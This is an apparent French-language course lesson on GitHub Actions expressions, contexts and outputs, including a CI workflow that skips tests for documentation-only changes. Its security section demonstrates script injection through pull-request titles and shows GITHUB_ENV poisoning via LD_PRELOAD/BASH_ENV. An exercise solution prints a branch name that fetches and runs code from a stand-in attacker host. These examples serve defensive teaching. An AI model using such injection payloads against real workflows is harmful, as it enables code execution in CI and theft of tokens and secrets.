Expressions, contextes et sorties
Pourquoi
À la leçon précédente, deux problèmes sont restés ouverts. Le premier : on ne doit pas filtrer par chemins un workflow dont le check est exigé, il faut plutôt faire tourner le workflow et décider dans le workflow s'il y a du travail. Le second : github.event.inputs.simulation == true n'est jamais vrai, et il faut comprendre pourquoi.
Les deux relèvent du même sujet : la petite logique que GitHub Actions permet d'écrire entre les étapes. Un workflow réel doit prendre des décisions (« ce changement touche-t-il le code ? », « est-ce la branche principale ? ») et faire circuler des données (« quels fichiers ont changé ? », « quelle étiquette porte l'image construite ? »). Il le fait avec trois outils : les expressions, qui calculent ; les contextes, qui donnent accès aux informations du run ; et les sorties, qui transportent des valeurs d'une étape ou d'un job à l'autre.
Ce langage est volontairement pauvre, et il a ses propres règles de conversion, différentes de celles du shell et de Python. Ces règles produisent des conditions qui ne sont jamais vraies, des étapes qui ne s'exécutent jamais, et, plus grave, des workflows qui exécutent du code fourni par un inconnu. Cette leçon les rend explicites.
Les concepts
Les expressions
Une expression s'écrit entre ${{ et }}. Elle manipule quatre types de littéraux : booléens (true, false), null, nombres (au format JSON) et chaînes, obligatoirement entre apostrophes ('main'). Des guillemets doubles provoquent une erreur ; une apostrophe dans une chaîne se double ('l''image').
Les opérateurs sont ceux d'un langage courant : !, &&, ||, ==, !=, <, <=, >, >=, les parenthèses, l'index [ ] et l'accès .. Deux propriétés surprennent :
- Les comparaisons de chaînes ignorent la casse :
'Main' == 'main'est vrai. &&et||renvoient une valeur, pas un booléen, comme en JavaScript :a || bvautasiaest « vrai », sinonb. C'est ce qui permet d'écrire une valeur par défaut, commegithub.event.pull_request.number || github.refà la leçon précédente.
Dans une condition, les valeurs false, 0, -0, '' et null sont considérées comme fausses ; toutes les autres comme vraies.
Les conversions de types
Quand on compare deux valeurs de types différents, GitHub convertit les deux en nombres :
| Type | Converti en |
|---|---|
null | 0 |
| booléen | true donne 1, false donne 0 |
| chaîne | le nombre qu'elle représente au format JSON, sinon NaN ; la chaîne vide donne 0 |
| tableau, objet | NaN |
NaN (not a number) n'est égal à rien, pas même à lui-même. Reprenons la condition fautive de la leçon 2 : github.event.inputs.simulation == true. Le contexte github.event.inputs contient des chaînes, donc à gauche la chaîne 'true', à droite le booléen true. Types différents : conversion en nombres. 'true' n'est pas un nombre JSON et devient NaN ; true devient 1. NaN == 1 est faux. La condition est fausse quelle que soit la valeur choisie par l'utilisateur.
La même règle explique la règle d'or des sorties : une sortie d'étape ou de job est toujours une chaîne. On la compare donc à une chaîne : needs.changements.outputs.code == 'true'. Écrire == true produit une condition toujours fausse, pour la même raison.
Où et quand une expression est évaluée
Toutes les expressions ne sont pas évaluées au même endroit :
- Par GitHub, avant l'attribution du job à un runner :
jobs.<id>.if,runs-on,strategy,concurrency,timeout-minutesdu job,environment. À ce moment, il n'existe ni machine, ni étape, ni variable d'environnement. - Par le runner, juste avant chaque étape :
ifde l'étape,with,env,run,name. Le runner connaît alors les étapes déjà exécutées et leurs sorties.
C'est ce qui explique la table de disponibilité des contextes, que la documentation donne clé par clé. Quelques cas à retenir :
| Où | Contextes disponibles |
|---|---|
run-name, concurrency du workflow | github, inputs, vars |
jobs.<id>.if | github, needs, vars, inputs (pas env, pas secrets) |
jobs.<id>.runs-on | github, needs, strategy, matrix, vars, inputs |
steps[*].if | tout sauf secrets |
steps[*].run, with, env | tout, y compris secrets et steps |
L'absence de secrets dans les conditions est voulue ; une raison vraisemblable est qu'une condition sur la valeur d'un secret permettrait d'en deviner le contenu, un essai à la fois.
Les contextes
Un contexte est un objet que les expressions peuvent lire. Les principaux :
| Contexte | Contenu | Exemple |
|---|---|---|
github | le run et l'événement | github.ref, github.sha, github.event_name, github.actor, github.event.pull_request.base.sha |
env | les variables déclarées dans env: | env.PYTHON_VERSION |
vars | les variables de configuration | vars.REGISTRE |
secrets | les secrets | secrets.GITHUB_TOKEN |
inputs | les paramètres de workflow_dispatch ou workflow_call, typés | inputs.simulation |
steps | les étapes déjà exécutées de ce job (avec un id) | steps.tests.outcome, steps.diff.outputs.code |
needs | les jobs dont celui-ci dépend | needs.changements.outputs.code, needs.changements.result |
job, runner | le job en cours, la machine | job.status, runner.os, runner.temp |
matrix, strategy | la matrice (leçon 4) | matrix.python |
github.event contient le contenu complet du webhook : pour une demande de fusion, son titre, son corps, ses branches, son auteur. Une bonne partie de ce contenu est écrite par la personne qui a déclenché l'événement, ce qui sera central dans la section Sécurité.
Les fonctions
| Fonction | Rôle | Exemple |
|---|---|---|
contains(a, b) | b dans la chaîne ou le tableau a | contains(github.event.pull_request.labels.*.name, 'urgent') |
startsWith, endsWith | préfixe, suffixe (sans casse) | startsWith(github.ref, 'refs/tags/v') |
format | gabarit avec {0}, {1} | format('{0}-{1}', github.workflow, github.ref) |
join | tableau vers chaîne | join(matrix.versions, ', ') |
toJSON, fromJSON | sérialiser, désérialiser | fromJSON(needs.a.outputs.liste) |
hashFiles | empreinte de fichiers (leçon 5) | hashFiles('requirements*.txt') |
case | choix multiple, depuis janvier 2026 | case(cond1, val1, cond2, val2, défaut) |
La syntaxe labels.*.name est un filtre d'objet : elle extrait le champ name de chaque élément du tableau labels.
Quatre fonctions d'état ne servent que dans les conditions if :
success(): toutes les étapes précédentes ont réussi. C'est la condition implicite de toute étape qui n'en précise pas d'autre, ce qui explique qu'après un échec les étapes suivantes soient ignorées.failure(): une étape précédente (ou un job dont on dépend) a échoué.cancelled(): le run a été annulé.always(): toujours vrai, même en cas d'annulation.
GitHub déconseille always() pour une étape qui pourrait bloquer, car elle s'exécuterait encore pendant l'annulation et ferait attendre le run jusqu'au délai maximal. Pour « s'exécuter même si une étape précédente a échoué », la forme recommandée est ${{ !cancelled() }}.
Trois sortes de variables
| Sorte | Déclaration | Lecture | Portée |
|---|---|---|---|
| Variables d'environnement | env: du workflow, du job ou de l'étape | $NOM dans le shell, env.NOM dans une expression | la plus proche l'emporte : étape, puis job, puis workflow |
| Variables par défaut | posées par GitHub | $GITHUB_SHA, $GITHUB_REF, $RUNNER_TEMP... | toutes les étapes, non modifiables |
| Variables de configuration | réglages de l'organisation, du dépôt ou d'un environnement | vars.NOM dans une expression | l'environnement l'emporte sur le dépôt, qui l'emporte sur l'organisation |
Les variables de configuration sont la place des réglages non secrets partagés entre workflows : nom du registre, région, nom d'un projet. Une variable d'organisation REGISTRE valant rg.fr-par.scw.cloud/lyneko-apps éviterait de recopier l'adresse du registre Scaleway dans chaque dépôt de Lyneko. Mais attention au plan : sur le plan gratuit, les variables et les secrets d'organisation ne sont pas accessibles aux dépôts privés. Les dépôts privés de Lyneko doivent donc définir leurs variables au niveau du dépôt, ou l'organisation doit passer au plan Team. Une variable fait au plus 48 Ko ; un dépôt en compte au plus 500. Les secrets suivent les mêmes niveaux, mais sont chiffrés et masqués dans les journaux : ils font l'objet de la leçon 9.
Une distinction pratique entre ${{ env.NOM }} et $NOM : la première est remplacée dans le texte du script avant son exécution, la seconde est lue par le shell pendant l'exécution. Le résultat est souvent le même ; la section Sécurité montre quand il ne l'est pas.
En pratique
Les sorties d'une étape
Une étape publie une sortie en écrivant une ligne nom=valeur dans le fichier dont le chemin est donné par la variable GITHUB_OUTPUT. Les étapes suivantes la lisent par steps.<id>.outputs.<nom>, à condition que l'étape ait un id :
- id: version
run: echo "valeur=$(git describe --tags --always)" >> "$GITHUB_OUTPUT"
- run: echo "Version construite : $VERSION"
env:
VERSION: ${{ steps.version.outputs.valeur }}Pour une valeur sur plusieurs lignes, le fichier accepte une syntaxe à délimiteur : nom<<DÉLIMITEUR, les lignes, puis le délimiteur seul sur sa ligne. Le délimiteur ne doit apparaître nulle part dans la valeur ; si la valeur vient de l'extérieur (une liste de fichiers dont un attaquant choisit les noms), un délimiteur fixe comme EOF peut être injecté pour clore la valeur et écrire d'autres sorties à la suite. On le tire donc au hasard :
delim="FIN_$(openssl rand -hex 8)"
{
echo "fichiers<<$delim"
git diff --name-only main...doc-api
echo "$delim"
} >> "$GITHUB_OUTPUT"Exécuté localement (script liste.sh, sur la branche de démonstration de la leçon 2 après qu'elle a aussi modifié app.py, voir plus bas), avec GITHUB_OUTPUT pointant vers un fichier, on voit exactement ce que le runner lira :
$ export GITHUB_OUTPUT=$PWD/.sortie
$ bash --noprofile --norc -eo pipefail liste.sh && cat .sortie
fichiers<<FIN_8ccdfc021066efaa
app.py
docs/api.md
FIN_8ccdfc021066efaa
C'est d'ailleurs la meilleure façon de mettre au point un script d'étape : GITHUB_OUTPUT, GITHUB_ENV et GITHUB_STEP_SUMMARY ne sont que des chemins de fichiers, que l'on peut fournir soi-même.
Variables d'environnement et PATH pour les étapes suivantes
Deux autres fichiers suivent le même principe :
GITHUB_ENV: chaque ligneNOM=valeurdevient une variable d'environnement pour les étapes suivantes (pas pour l'étape en cours). Pour des raisons de sécurité,NODE_OPTIONSne peut pas y être posée.GITHUB_PATH: chaque ligne est un répertoire ajouté en tête duPATHdes étapes suivantes. C'est ce que faitsetup-pythonpour quepythondésigne la version installée.
Un résumé lisible
Le fichier désigné par GITHUB_STEP_SUMMARY accepte du Markdown, affiché sur la page du run, sous le graphe des jobs. C'est l'endroit idéal pour un bilan que la personne qui relit une demande de fusion lira sans ouvrir les journaux. Ajoutez à Signalements le script ci/resume_tests.py, qui transforme le rapport JUnit de pytest en tableau :
"""Résumé Markdown d'un rapport JUnit, ajouté au résumé du job GitHub Actions.
Usage : python ci/resume_tests.py rapport.xml
Sans GITHUB_STEP_SUMMARY (en local), le résumé est affiché.
"""
import os
import sys
import xml.etree.ElementTree as ET
suite = ET.parse(sys.argv[1]).getroot()
if suite.tag == "testsuites":
suite = suite[0]
total = int(suite.get("tests", 0))
echecs = int(suite.get("failures", 0)) + int(suite.get("errors", 0))
ignores = int(suite.get("skipped", 0))
lignes = [
"### Tests unitaires",
"",
"| Total | Réussis | Échoués | Ignorés | Durée |",
"|---:|---:|---:|---:|---:|",
f"| {total} | {total - echecs - ignores} | {echecs} | {ignores} | {float(suite.get('time', 0)):.2f} s |",
]
for cas in suite.iter("testcase"):
if cas.find("failure") is not None or cas.find("error") is not None:
lignes.append(f"- échec : `{cas.get('classname')}.{cas.get('name')}`")
texte = "\n".join(lignes) + "\n"
chemin = os.environ.get("GITHUB_STEP_SUMMARY")
if chemin:
with open(chemin, "a", encoding="utf-8") as fichier:
fichier.write(texte)
else:
print(texte, end="")Essayé localement, après les tests, puis après avoir cassé un test :
$ pytest -q --junitxml=rapport-unitaires.xml test_app.py
.... [100%]
4 passed in 0.20s
$ python ci/resume_tests.py rapport-unitaires.xml
### Tests unitaires
| Total | Réussis | Échoués | Ignorés | Durée |
|---:|---:|---:|---:|---:|
| 4 | 4 | 0 | 0 | 0.20 s |
$ sed -i "s/== 200/== 201/" test_app.py
$ pytest -q --junitxml=rapport-unitaires.xml test_app.py > /dev/null
$ python ci/resume_tests.py rapport-unitaires.xml
### Tests unitaires
| Total | Réussis | Échoués | Ignorés | Durée |
|---:|---:|---:|---:|---:|
| 4 | 3 | 1 | 0 | 0.24 s |
- échec : `test_app.test_accueil`
Le résumé est surtout utile quand les tests échouent. L'étape qui le produit doit donc s'exécuter même après l'échec de l'étape de tests, mais pas si le run est annulé, ni si les tests n'ont jamais tourné (une erreur de lint plus haut) :
- name: Tests unitaires
id: tests
run: pytest -q --junitxml=rapport-unitaires.xml test_app.py
- name: Résumé des tests
if: ${{ !cancelled() && steps.tests.outcome != 'skipped' }}
run: python ci/resume_tests.py rapport-unitaires.xmlsteps.tests.outcome vaut success, failure, cancelled ou skipped. Il existe aussi steps.tests.conclusion, qui diffère seulement pour une étape marquée continue-on-error: true : son outcome peut être failure alors que sa conclusion est success. Chaque étape peut écrire au plus 1 Mio de résumé, et un job affiche au plus 20 résumés d'étapes.
Les sorties d'un job, et le problème des chemins résolu
Deux jobs ne partagent rien, pas même un fichier. Pour qu'un job transmette une valeur à un autre, il la déclare en sortie, à partir de la sortie d'une de ses étapes ; le job suivant déclare qu'il en dépend (needs:) et la lit dans le contexte needs.
C'est le mécanisme qui résout le problème de la leçon 2. Un premier job calcule si le code a changé ; le job de vérification ne s'exécute que dans ce cas, et quand il est ignoré, son check compte comme réussi. Le calcul tient dans un script, ci/changements.sh :
#!/usr/bin/env bash
# Le code a-t-il changé entre deux commits ? Écrit « code=true » ou « code=false »
# dans GITHUB_OUTPUT. Usage : ci/changements.sh <base> <tête>
# Sans base exploitable (premier commit, exécution manuelle), on répond true :
# dans le doute, on vérifie.
set -euo pipefail
base=${1:-} tete=$2
sortie=${GITHUB_OUTPUT:-/dev/stdout}
if [ -z "$base" ] || ! git cat-file -e "$base^{commit}" 2>/dev/null; then
echo "pas de base exploitable : tout est vérifié"
echo "code=true" >> "$sortie"
exit 0
fi
fichiers=$(git diff --name-only "$base...$tete")
echo "fichiers modifiés :"
sed 's/^/ /' <<<"$fichiers"
# Tout ce qui n'est pas de la documentation compte comme du code.
if grep -qvE '^(docs/.*|.*\.md)$' <<<"$fichiers"; then
echo "code=true" >> "$sortie"
else
echo "code=false" >> "$sortie"
fiTesté localement sur la branche doc-api de la leçon 2, avant et après un commit qui touche app.py, puis avec une base inexistante (ce que donne github.event.before à la première poussée d'une branche) :
$ export GITHUB_OUTPUT=$PWD/.sortie
$ ci/changements.sh main doc-api; cat .sortie
fichiers modifiés :
docs/api.md
code=false
$ ci/changements.sh main doc-api; cat .sortie # après un commit sur app.py
fichiers modifiés :
app.py
docs/api.md
code=true
$ ci/changements.sh 0000000000000000000000000000000000000000 HEAD; cat .sortie
pas de base exploitable : tout est vérifié
code=true
Le script prend ses deux commits en arguments et ne lit aucun contexte GitHub : il se teste sur un poste, et le workflow se contente de lui passer les bonnes valeurs. Voici le workflow complet de Signalements à ce stade :
name: CI
run-name: "CI ${{ github.ref_name }} (${{ github.event_name }})"
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
schedule:
- cron: "30 5 * * 1"
timezone: "Europe/Paris"
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
permissions:
contents: read
defaults:
run:
shell: bash
env:
PYTHON_VERSION: "3.14"
jobs:
changements:
name: Détecter les changements
runs-on: ubuntu-24.04
timeout-minutes: 5
outputs:
code: ${{ steps.diff.outputs.code }}
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0
persist-credentials: false
- id: diff
env:
BASE: ${{ case(github.event_name == 'pull_request', github.event.pull_request.base.sha, github.event_name == 'push', github.event.before, '') }}
TETE: ${{ github.event.pull_request.head.sha || github.sha }}
run: ci/changements.sh "$BASE" "$TETE"
verifier:
name: Lint et tests
needs: changements
if: needs.changements.outputs.code == 'true'
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Récupérer le code
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Installer Python
uses: actions/setup-python@v7
with:
python-version: ${{ env.PYTHON_VERSION }}
- name: Installer les dépendances
run: pip install -r requirements-dev.txt
- name: Lint
run: ruff check .
- name: Format
run: ruff format --check .
- name: Tests unitaires
id: tests
run: pytest -q --junitxml=rapport-unitaires.xml test_app.py
- name: Résumé des tests
if: ${{ !cancelled() && steps.tests.outcome != 'skipped' }}
run: python ci/resume_tests.py rapport-unitaires.xmlLes points nouveaux :
run-namedonne à chaque run un titre lisible dans la liste (par défaut, le message du commit).github.ref_nameest le nom court de la référence :main, ou7/mergepour une demande de fusion.fetch-depth: 0récupère tout l'historique : sans lui,checkoutne prend qu'un commit, et le commit de base n'existerait pas dans le clone.case(...)choisit la base selon l'événement : la base de la demande de fusion, le sommet précédent de la branche pour une poussée, rien pour une exécution manuelle ou planifiée (le script vérifie alors tout). Avant l'arrivée decaseen janvier 2026, on écrivait la même chose avec une chaîne de&&et||, plus fragile :a && b || crenvoiecsibest une valeur fausse, comme une chaîne vide.TETEprend le dernier commit de la branche proposée, pas le commit de fusion : on veut savoir ce que la branche change.outputs.codeau niveau du job reprend la sortie de l'étapediff; le jobverifierla lit parneeds.changements.outputs.code, et la compare à la chaîne'true'.PYTHON_VERSIONest déclarée une fois, au niveau du workflow, et lue danswith:parenv.PYTHON_VERSION. Une matrice la remplacera à la leçon 4.
Une demande de fusion qui ne modifie que de la documentation passe ainsi en quelques secondes, avec un check Lint et tests ignoré, donc considéré comme réussi : la règle de protection est satisfaite, sans filtre paths au niveau du workflow.
Laisser actionlint vérifier les expressions
actionlint connaît la table de disponibilité des contextes, les sorties déclarées, les dépendances entre jobs et la liste des fonctions. Voici ce qu'il trouve dans un workflow qui accumule quatre erreurs fréquentes : env dans la condition d'un job, secrets dans la condition d'une étape, un needs oublié, et une fonction mal orthographiée :
$ actionlint .github/workflows/expr.yml
.github/workflows/expr.yml:15:9: context "env" is not allowed here. available contexts are "github", "inputs", "needs", "vars". see https://docs.github.com/en/actions/learn-github-actions/contexts#context-availability for more details [expression]
|
15 | if: env.CIBLE == 'recette'
| ^~~~~~~~~
.github/workflows/expr.yml:17:13: context "secrets" is not allowed here. available contexts are "env", "github", "inputs", "job", "matrix", "needs", "runner", "steps", "strategy", "vars". see https://docs.github.com/en/actions/learn-github-actions/contexts#context-availability for more details [expression]
|
17 | - if: secrets.JETON != ''
| ^~~~~~~~~~~~~
.github/workflows/expr.yml:19:24: property "a" is not defined in object type {} [expression]
|
19 | - run: echo "${{ needs.a.outputs.pret }}"
| ^~~~~~~~~~~~~~~~~~~~
.github/workflows/expr.yml:20:24: undefined function "cas". available functions are "always", "cancelled", "case", "contains", "endswith", "failure", "format", "fromjson", "hashfiles", "join", "startswith", "success", "tojson" [expression]
|
20 | - run: echo "${{ cas(true, 'x', 'y') }}"
| ^~~~~~~~~
La troisième erreur mérite une explication : le job b lit needs.a sans déclarer needs: a. Pour actionlint, le contexte needs de b est donc vide ({}). Sur GitHub, l'erreur ne serait pas forcément signalée : la propriété absente vaut null, affiché comme une chaîne vide, et l'étape s'exécute avec une valeur vide. Pour tester la présence d'un secret, la documentation de GitHub recommande de passer par une variable d'environnement du job (jobs.<id>.env: { JETON: "${{ secrets.JETON }}" }), puis if: env.JETON != '' sur l'étape. Une variable déclarée dans l'env de l'étape elle-même n'est pas visible dans le if de cette même étape.
Sous le capot
Deux évaluateurs
Les expressions de niveau job sont évaluées par le service GitHub Actions, au moment de planifier les jobs. Les expressions des étapes voyagent non évaluées dans le message de job, et c'est le runner (le processus Runner.Worker vu à la leçon 1) qui les évalue juste avant chaque étape, avec les contextes à jour. C'est pour cela que steps n'existe pas au niveau du job : quand GitHub décide d'attribuer un job, aucune de ses étapes n'a encore tourné.
Les fichiers de commandes
Avant chaque étape, le runner crée des fichiers vides et place leurs chemins dans GITHUB_OUTPUT, GITHUB_ENV, GITHUB_PATH et GITHUB_STEP_SUMMARY. Après l'étape, il les lit, les analyse (nom=valeur ou syntaxe à délimiteur), met à jour ses contextes, puis les jette. Un fichier par étape : c'est pourquoi une variable écrite dans GITHUB_ENV n'est visible qu'à partir de l'étape suivante.
Ces fichiers ont remplacé, en 2022, des « commandes de workflow » que l'on écrivait sur la sortie standard (::set-output name=x::valeur). L'ancienne méthode permettait à n'importe quel programme qui affichait du texte contrôlé par un tiers (un journal de tests, le contenu d'un fichier) de poser des sorties ou des variables à son insu. Elle est dépréciée et affiche un avertissement ; certaines commandes de sortie standard restent légitimes, comme ::add-mask:: (masquer une valeur), ::group:: (replier un bloc de journal) ou ::error file=app.py,line=12::message (annotation sur une ligne de code).
Les sorties de job et les secrets
Les sorties d'un job sont évaluées sur le runner, à la fin du job. Toute valeur qui contient un secret, ou une valeur masquée par ::add-mask::, est retirée avant l'envoi à GitHub, avec un avertissement Skip output 'x' since it may contain secret dans le journal. On ne fait donc pas transiter de secret d'un job à l'autre par une sortie, et c'est voulu. Les sorties d'un job sont limitées à 1 Mo, et l'ensemble des sorties d'un run à 50 Mo : une sortie transporte une valeur, pas un fichier (les fichiers passent par les artefacts, leçon 5).
Pièges courants
Une condition sur une sortie n'est jamais vraie. Comparaison à true au lieu de 'true'. Les sorties sont des chaînes.
Un job est ignoré sans raison apparente. Depuis janvier 2026, quand un job est ignoré à cause de sa condition if:, son journal montre l'expression d'origine et sa version développée, avec la valeur de chaque contexte au moment de l'évaluation. C'est le premier endroit à regarder : on y voit par exemple needs.changements.outputs.code valoir 'false', ou une propriété absente valoir null.
fromJSON oublié pour une comparaison numérique. needs.a.outputs.nombre > 10 compare une chaîne et un nombre : la chaîne est convertie, ce qui fonctionne pour '12' mais donne NaN pour '12 fichiers', et toute comparaison avec NaN est fausse. Écrivez fromJSON(needs.a.outputs.nombre) > 10 et produisez des sorties numériques propres.
L'étape de nettoyage bloque l'annulation. Une étape if: always() qui attend un service ou une ressource s'exécute aussi pendant une annulation, et retient le run jusqu'au délai du job. Préférez !cancelled(), et donnez un timeout-minutes à ce genre d'étape.
La variable posée dans GITHUB_ENV est vide. Elle est lue dans la même étape. Elle n'existe qu'à partir de l'étape suivante ; dans l'étape courante, utilisez une variable shell.
Une expression entre guillemets doubles. if: github.ref == "refs/heads/main" provoque une erreur : les chaînes d'expression s'écrivent entre apostrophes.
hashFiles renvoie une chaîne vide. Aucun fichier ne correspond au motif, souvent parce que checkout n'a pas encore eu lieu, ou que le chemin est relatif au mauvais répertoire (il l'est toujours à GITHUB_WORKSPACE). Une clé de cache construite dessus devient constante (leçon 5).
github.event.before n'existe pas dans le clone. Après une réécriture d'historique (git push --force), l'ancien sommet n'est plus récupéré par checkout. Le script de cette leçon le détecte (git cat-file -e) et vérifie tout par prudence.
Sécurité
La substitution de texte
Une expression dans run: n'est pas passée au shell comme une variable : elle est remplacée dans le texte du script, avant que le shell ne le lise. Si la valeur vient de quelqu'un d'autre, ce quelqu'un écrit une partie de votre script. Le petit programme suivant imite exactement ce que fait le runner (un remplacement de texte), avec un titre de demande de fusion choisi par un contributeur malveillant :
"""Imite le runner : remplace ${{ github.event.pull_request.title }} par le titre, tel quel."""
import sys
modele, titre = sys.argv[1], sys.argv[2]
print(modele.replace("${{ github.event.pull_request.title }}", titre))La démonstration est exécutée dans un conteneur, sous un utilisateur nommé runner comme sur les runners hébergés :
$ titre='Corrige le tri $(id -un)'
$ python3 rendre.py 'echo "Titre : ${{ github.event.pull_request.title }}"' "$titre" > script.sh
$ cat script.sh
echo "Titre : Corrige le tri $(id -un)"
$ bash --noprofile --norc -eo pipefail script.sh
Titre : Corrige le tri runner
La commande id -un, écrite dans le titre, a été exécutée. À la place de id, un attaquant écrit une commande qui envoie le GITHUB_TOKEN ou les secrets du job vers son serveur. La même chose avec une variable d'environnement :
$ TITRE="$titre" bash --noprofile --norc -eo pipefail -c 'echo "Titre : $TITRE"'
Titre : Corrige le tri $(id -un)
Le shell lit la valeur comme une donnée et ne l'interprète pas. D'où la règle, valable pour toutes les valeurs que vous ne maîtrisez pas : jamais d'expression dans run:, toujours un passage par env:. La documentation de GitHub liste les champs à risque : tout ce qui se termine par body, default_branch, email, head_ref, label, message, name, page_name, ref et title dans github.event, auxquels s'ajoute github.head_ref (le nom de la branche proposée, choisi par l'auteur). C'est exactement la faille exploitée contre Ultralytics en décembre 2024 : un nom de branche contenant une commande, interpolé dans un script.
zizmor détecte ce motif sous le nom template-injection. Le workflow de cette leçon passe toutes ses valeurs par env:, même celles qui ne viennent pas d'un tiers (github.event.pull_request.base.sha est une empreinte calculée par GitHub) : l'habitude coûte peu et évite d'avoir à juger chaque cas.
GITHUB_ENV et GITHUB_PATH
Écrire dans GITHUB_ENV une valeur contrôlée par un tiers est aussi dangereux : une ligne LD_PRELOAD=/chemin/vers/bibliotheque.so ou BASH_ENV=... change le comportement de toutes les étapes suivantes. Le délimiteur aléatoire vu plus haut protège les valeurs sur plusieurs lignes ; pour le reste, n'y écrivez que des valeurs que vous avez produites. zizmor le signale sous le nom github-env.
Masquer
Les secrets sont masqués automatiquement dans les journaux. Une valeur sensible obtenue en cours de job (un jeton temporaire renvoyé par une API) ne l'est pas : on la déclare avec echo "::add-mask::$JETON" avant de l'afficher ou de l'utiliser. Le masquage est une protection de dernier recours, pas une garantie : une valeur transformée (encodée en base64, découpée) n'est plus reconnue.
En production
Factoriser la configuration. Les valeurs qui reviennent dans plusieurs dépôts (registre, région, projet Scaleway) vont dans des variables de configuration d'organisation (vars) quand le plan le permet (pas pour les dépôts privés du plan gratuit), les valeurs propres à un environnement dans des variables d'environnement (leçon 9). Le workflow ne contient plus que la logique.
Garder la logique dans des scripts. Au-delà de deux opérateurs, une expression devient illisible et intestable. La logique de ci/changements.sh aurait pu s'écrire avec des expressions et une action tierce de détection de chemins ; en script, elle se teste sur un poste, se relit dans une demande de fusion, et ne dépend que de Git. C'est le même principe qu'au cours précédent : la définition du pipeline orchestre, les scripts font le travail.
Rendre le run lisible. run-name, des libellés d'étapes explicites et un résumé par job font gagner du temps à chaque relecture. Un run qu'il faut ouvrir étape par étape pour savoir ce qui a échoué coûte cher sur une équipe de vingt personnes.
Les monorepos. Le mécanisme changements puis if: se généralise : un job de détection produit une sortie par composant (api, frontal, infra), et chaque job de vérification ne s'exécute que pour son composant. Avec une matrice (leçon 4) et fromJSON, la liste des composants à vérifier peut même être calculée.
Exercices
1. Pour chaque condition, dites si elle est vraie, en justifiant par les règles de conversion : (a) 'Main' == 'main' ; (b) '1' == 1 ; (c) '' == 0 ; (d) 'true' == true ; (e) null == false.
Solution
(a) Vraie : comparaison de chaînes sans casse. (b) Vraie : types différents, '1' devient le nombre 1. (c) Vraie : la chaîne vide devient 0. (d) Fausse : 'true' devient NaN, true devient 1. (e) Vraie : null devient 0, false devient 0.
2. Ce workflow doit publier un commentaire seulement si les tests ont échoué sur une demande de fusion. Trouvez les deux erreurs.
- name: Tests
run: pytest
- name: Prévenir
if: github.event_name == 'pull_request' && steps.tests.outcome == 'failure'
run: ./ci/commenter.shSolution
L'étape Tests n'a pas d'id, donc steps.tests n'existe pas et la condition est toujours fausse. Et même avec id: tests, la condition ne contient aucune fonction d'état : success() est ajoutée implicitement, et l'étape Prévenir est ignorée dès que les tests échouent. Il faut if: failure() && github.event_name == 'pull_request' && steps.tests.outcome == 'failure' (ou !cancelled() && ...).
3. Modifiez ci/changements.sh pour qu'un changement limité au répertoire deploiement/ ne déclenche pas les tests, mais qu'un changement de .github/workflows/ les déclenche toujours. Testez localement avec GITHUB_OUTPUT pointant vers un fichier.
Solution
Il suffit d'étendre le motif des fichiers qui ne comptent pas comme du code :
if grep -qvE '^(docs/.*|.*\.md|deploiement/.*)$' <<<"$fichiers"; thenUn fichier de .github/workflows/ ne correspond à aucun de ces motifs : il compte comme du code, et déclenche les tests. Pour le vérifier, créez une branche qui ne modifie que deploiement/compose.yaml, puis une autre qui ne modifie que .github/workflows/ci.yml, et lancez le script sur chacune : la première doit donner code=false, la seconde code=true.
4. Un collègue écrit cette étape pour afficher le nom de la branche proposée. Expliquez le risque et corrigez.
- run: echo "Branche : ${{ github.head_ref }}"Solution
github.head_ref est choisi par l'auteur de la demande de fusion. Git autorise dans un nom de branche des caractères comme $, (, ) ou ; : une branche nommée x$(curl${IFS}attaquant.example|sh) fait exécuter son contenu par le shell du runner. Correction :
- run: echo "Branche : $BRANCHE"
env:
BRANCHE: ${{ github.head_ref }}5. Écrivez l'expression qui donne production pour une étiquette v*, recette pour main, et aucun sinon, d'abord avec case, puis sans. Expliquez pourquoi la seconde version est fragile.
Solution
CIBLE: ${{ case(startsWith(github.ref, 'refs/tags/v'), 'production', github.ref == 'refs/heads/main', 'recette', 'aucun') }}
CIBLE: ${{ startsWith(github.ref, 'refs/tags/v') && 'production' || github.ref == 'refs/heads/main' && 'recette' || 'aucun' }}La seconde repose sur le fait que 'production' et 'recette' sont des valeurs vraies. Si l'une des valeurs était une chaîne vide, 0 ou false, && la renverrait, || la considérerait comme fausse et passerait à la suite : le résultat serait faux sans aucune erreur. case n'a pas ce défaut.
Récapitulatif
- Les expressions
${{ }}ont leurs propres règles : chaînes entre apostrophes, comparaisons sans casse, conversion en nombres quand les types diffèrent ('true' == trueest faux). - Les sorties sont des chaînes : comparez-les à
'true', convertissez avecfromJSON. - Les contextes ne sont pas disponibles partout : pas d'
envni desecretsdans la condition d'un job, pas desecretsdans la condition d'une étape. actionlint connaît ces règles. GITHUB_OUTPUT,GITHUB_ENV,GITHUB_PATH,GITHUB_STEP_SUMMARYsont de simples fichiers : testez vos scripts localement en les fournissant.- Une étape publie des sorties, un job les reprend dans
outputs, un autre les lit parneeds: c'est ainsi qu'on ignore un job sans bloquer un check exigé. success()est implicite ;!cancelled()plutôt quealways().- Jamais d'expression contrôlée par un tiers dans
run:: passez parenv:.
Pour aller plus loin
- GitHub Docs, Contexts reference : la table complète de disponibilité, clé par clé.
- GitHub Security Lab, Untrusted input : l'analyse de référence des injections dans les workflows.
- Leçon suivante : Jobs, matrices et services.
Sources
- GitHub Docs, Evaluate expressions in workflows and actions
- GitHub Docs, Contexts reference (dont la disponibilité des contextes)
- GitHub Docs, Workflow commands for GitHub Actions (GITHUB_OUTPUT, GITHUB_ENV, résumés, masquage)
- GitHub Docs, Variables reference (variables par défaut, variables de configuration, limites)
- GitHub Changelog, Smarter editing, clearer debugging, and a new case function (29 janvier 2026)
- GitHub Docs, Script injections
- GitHub Security Lab, Keeping your GitHub Actions and workflows secure : untrusted input
- rhysd/actionlint, vérification des contextes et des types d'expressions
- zizmor, audits template-injection et github-env